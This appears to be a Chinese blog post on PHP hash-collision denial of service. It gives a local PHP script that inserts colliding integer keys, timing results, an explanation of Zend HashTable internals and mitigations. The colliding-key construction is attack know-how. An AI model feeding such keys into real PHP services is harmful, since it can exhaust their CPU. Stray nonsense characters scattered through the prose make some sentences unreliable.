一段攻擊代碼
<?php
$size = pow(2, 16);
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '插入 ', $size, ' 個惡意的元素需要 ', $endTime - $startTime, ' 秒', "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo '插入 ', $size, ' 個普通元素需要 ', $endTime - $startTime, ' 秒', "\n";
插入結(jié)果
php5(5.2)
插入 65536 個惡意的元素需要 79.778307914734 秒
插入 65536 個普通元素需要 0.028948068618774 秒
php7
插入 65536 個惡意的元素需要 9.2177460193634 秒
插入 65536 個普通元素需要 0.004227876663208 秒
php 數(shù)組的實現(xiàn)
php 中的數(shù)組是 php 中非常好用的一個數(shù)據(jù)結(jié)構(gòu)，有了這個數(shù)據(jù)結(jié)構(gòu)的加持 php 的開發(fā)效率才能如此之高。
但是我們知道世界上并沒有完美的事物樟凄，php 的數(shù)組雖然給我們帶來的簡單易用的一些特性，但是也會給我們帶來一些隱患堕阔。
哈希表是我們非常常見的一個數(shù)據(jù)結(jié)構(gòu)，php 的數(shù)組就是通過哈希表來實現(xiàn)的。
php 的哈希表解決沖突采用的是拉鏈法，沖突的元素通過加入相應(yīng)hash槽的鏈表來解決碰纬。
php 經(jīng)歷了很多的版本，我們常用熟悉的版本有5.3匹厘、5.6、7.0 這幾個版本脐区。
其中 php5 版本的 hashtable 的實現(xiàn)與 php7 的有所不同愈诚。
php5
//hashTable的數(shù)據(jù)結(jié)構(gòu)
typedef struct _hashtable {
uint nTableSize;// hashtable 的大小
uint nTableMask;//這個和 ntableSize 是對應(yīng)的關(guān)系，為 nTableSize 的負(fù)數(shù)
uint nNumOfElements;
ulong nNextFreeElement;
Bucket *pInternalPointer; /* Used for element traversal */
Bucket *pListHead;
Bucket *pListTail;
Bucket **arBuckets; // 指向第一個桶鏈表
dtor_func_t pDestructor; // 元素刪除的函數(shù)
zend_bool persistent;
unsigned char nApplyCount;
zend_bool bApplyProtection;
#if ZEND_DEBUG
int inconsistent;
#endif
} HashTable;
//保存數(shù)據(jù)的單鏈表結(jié)構(gòu)
typedef struct bucket {
ulong h; /* Used for numeric indexing */
uint nKeyLength; //key長度
void *pData; //指向bucket中保存的數(shù)據(jù)的指針
void *pDataPtr; //指針數(shù)據(jù)
struct bucket *pListNext; //指向hashtable桶列中下一個元素
struct bucket *pListLast; //指向hashtable桶列前一個元素
struct bucket *pNext; //指向具有同一個hash index的桶列的后一個元素
struct bucket *pLast; //指向具有同一個hash index的桶列的前一個元素
const char *arKey; //必須是最后一個成員牛隅，key的名稱
} Bucket;
php7
struct _zend_array {
zend_refcounted_h gc;
union {
struct {
ZEND_ENDIAN_LOHI_4(
zend_uchar flags,
zend_uchar nApplyCount,
zend_uchar nIteratorsCount,
zend_uchar consistency)
} v;
uint32_t flags;
} u;
uint32_t nTableMask; //散列函數(shù)的映射數(shù)
Bucket *arData; //指向當(dāng)前桶的第一個數(shù)據(jù)
uint32_t nNumUsed; //已用的Bucket的數(shù)量（包含的是那些被刪除的或者是無效的bucket）
uint32_t nNumOfElements;//有效的bucket的數(shù)量
uint32_t nTableSize;//可以容納的bucket的數(shù)量
uint32_t nInternalPointer;
zend_long nNextFreeElement;//用來自動確定php數(shù)組的索引
dtor_func_t pDestructor;//自動清理無用bucket的函數(shù)
};
php7 的 Bucket 實現(xiàn)就簡單的多
typedef struct _Bucket {
zval val;//元素的數(shù)據(jù)
zend_ulong h; /* hash value (or numeric index) */
zend_string *key; /* string key or NULL for numerics */
} Bucket;
這個是 php7 hashtable的數(shù)據(jù)分布
數(shù)據(jù)分布是這樣的 映射表 + bucket(順序插入)
/*
* HashTable Data Layout
* =====================
*
* +=============================+
* | HT_HASH(ht, ht->nTableMask) |
* | ... |
* | HT_HASH(ht, -1) |
* +-----------------------------+
* ht->arData ---> | Bucket[0] |
* | ... |
* | Bucket[ht->nTableSize-1] |
* +=============================+
*/
內(nèi)部沖突的解決
那么 php 的內(nèi)部沖突 php 是怎么解決的那炕柔？
首先涉及到的一個常量是 php hashtable 中 nTableMask。
我們先來看php數(shù)組是如何初始化的
ZEND_API void ZEND_FASTCALL _zend_hash_init(HashTable *ht, uint32_t nSize, dtor_func_t pDestructor, zend_bool persistent ZEND_FILE_LINE_DC)
{
GC_REFCOUNT(ht) = 1;
GC_TYPE_INFO(ht) = IS_ARRAY;
ht->u.flags = (persistent ? HASH_FLAG_PERSISTENT : 0) | HASH_FLAG_APPLY_PROTECTION | HASH_FLAG_STATIC_KEYS;
ht->nTableMask = HT_MIN_MASK; //這里對 nTableMask 進(jìn)行了定義
HT_SET_DATA_ADDR(ht, &uninitialized_bucket);
ht->nNumUsed = 0;
ht->nNumOfElements = 0;
ht->nInternalPointer = HT_INVALID_IDX;
ht->nNextFreeElement = 0;
ht->pDestructor = pDestructor;
ht->nTableSize = zend_hash_check_size(nSize);
}
下面是上面關(guān)鍵常量的定義
#define HT_MIN_MASK ((uint32_t) -2) // 11111111111111111111111111111000
#define HT_MIN_SIZE 8 //初始化最大nTableSize
uint32_t 是無符號的int類型媒佣，吧 -2 轉(zhuǎn)換成無符號就是將-2原碼區(qū)反加一
php 添加數(shù)據(jù)到hashTable的代碼
主要關(guān)注的變量 nIndex h u2.next
- nIndex:哈希槽
- h:當(dāng)前的數(shù)組的key
- u2.next:沖突鏈表前一個bucket的位置記錄（Bucket是順序插入的匕累，php7性能提高就是因為做了hashTable的數(shù)據(jù)結(jié)構(gòu)重構(gòu)）
...
add_to_hash:
idx = ht->nNumUsed++;
ht->nNumOfElements++;
if (ht->nInternalPointer == HT_INVALID_IDX) {
ht->nInternalPointer = idx;
}
zend_hash_iterators_update(ht, HT_INVALID_IDX, idx);
p = ht->arData + idx;
p->key = key;
if (!ZSTR_IS_INTERNED(key)) {
zend_string_addref(key);
ht->u.flags &= ~HASH_FLAG_STATIC_KEYS;
zend_string_hash_val(key);
}
p->h = h = ZSTR_H(key);
ZVAL_COPY_VALUE(&p->val, pData);
nIndex = h | ht->nTableMask; //這里就是計算的方法 nTableMask初始值11111111111111111111111111111000
Z_NEXT(p->val) = HT_HASH(ht, nIndex); // 這里將上一個bucket的u2.next的值放到下一個Bucket的u2.next
HT_HASH(ht, nIndex) = HT_IDX_TO_HASH(idx);
return &p->val;
...
我們知道了hash的計算方式了，就可以分析上面的攻擊代碼了默伍。
我們?nèi)〕鰜韼讉€數(shù)據(jù)進(jìn)行調(diào)試測試欢嘿，新建一個 php 文件使用php -f 運行文件
$arr1 = [
0 => '!',//4294967288
65536 => '@',//4294967288
131072 => '#',
196608 => '$',
262144 => '%',
];
下面的nIndex的變化
我們可以看到nIndex幾次都沒有變化,這說明我們的Bucket都是放到同一個hash槽中，我們在通過p *(Bucket*)ht.arData@5也糊，
查看bucket數(shù)據(jù)中u2.next指向炼蹦。
{
{val = {value = {lval = ....}, u2 = {next = 4294967295, ....}}, h = 0, key = 0x0},
{val = {value = {lval = ....}, u2 = {next = 0, ....}}, h = 65536, key = 0x0},
{val = {value = {lval = ....}, u2 = {next = 1, ....}}, h = 131072, key = 0x0},
{val = {value = {lval = ....}, u2 = {next = 2, ....}}, h = 196608, key = 0x0},
{val = {value = {lval = ....}, u2 = {next = 3, ....}}, h = 262144, key = 0x0}
}
為什么第一個是4294967295 因為這個是第一個引用的hash槽的位置
為何會有攻擊效果
如果所有的元素都進(jìn)了同一個hash槽，那么我們的Hashtable查詢和插入的時間復(fù)雜度就會從 O(1) => O(n)
當(dāng)然 php7 有所改善狸剃，如果在php5中的插入方式會慢很多掐隐。
有效預(yù)防
在 php5.3 以上的版本中，post 參數(shù)的數(shù)量存在最大的限制 max_input_vars => 1000
在web服務(wù)器層面進(jìn)行處理，如通過限制請求 body 大小和參數(shù)的數(shù)量等虑省，這個也是目前使用最多的解決方案
其實以上的兩種解決方案并不能解決問題匿刮，因為只是單純的在參數(shù)的數(shù)量上進(jìn)行限制了熟丸，但是入股請求的數(shù)據(jù)中包含 json 數(shù)據(jù)，但其中的數(shù)據(jù)就是碰撞的 array狞山。理論上，只要 php 代碼某處構(gòu)造 array 的數(shù)據(jù)依賴于外部輸入勘纯，則都可能造成這個問題，因此徹底的解決方案是更改 Zend 底層的 HashTable 實現(xiàn)
限制每個桶鏈表的最長長度
使用其他數(shù)據(jù)結(jié)構(gòu)如紅黑樹取代鏈表組織碰撞哈希（并不解決哈希碰撞堤结，只是減輕攻擊影響竞穷，將N個數(shù)據(jù)的操作時間從 O(N^2) 降至 O(NlogN) ，代價是普通情況下接近 O(1) 的操作均變?yōu)?O(logN)
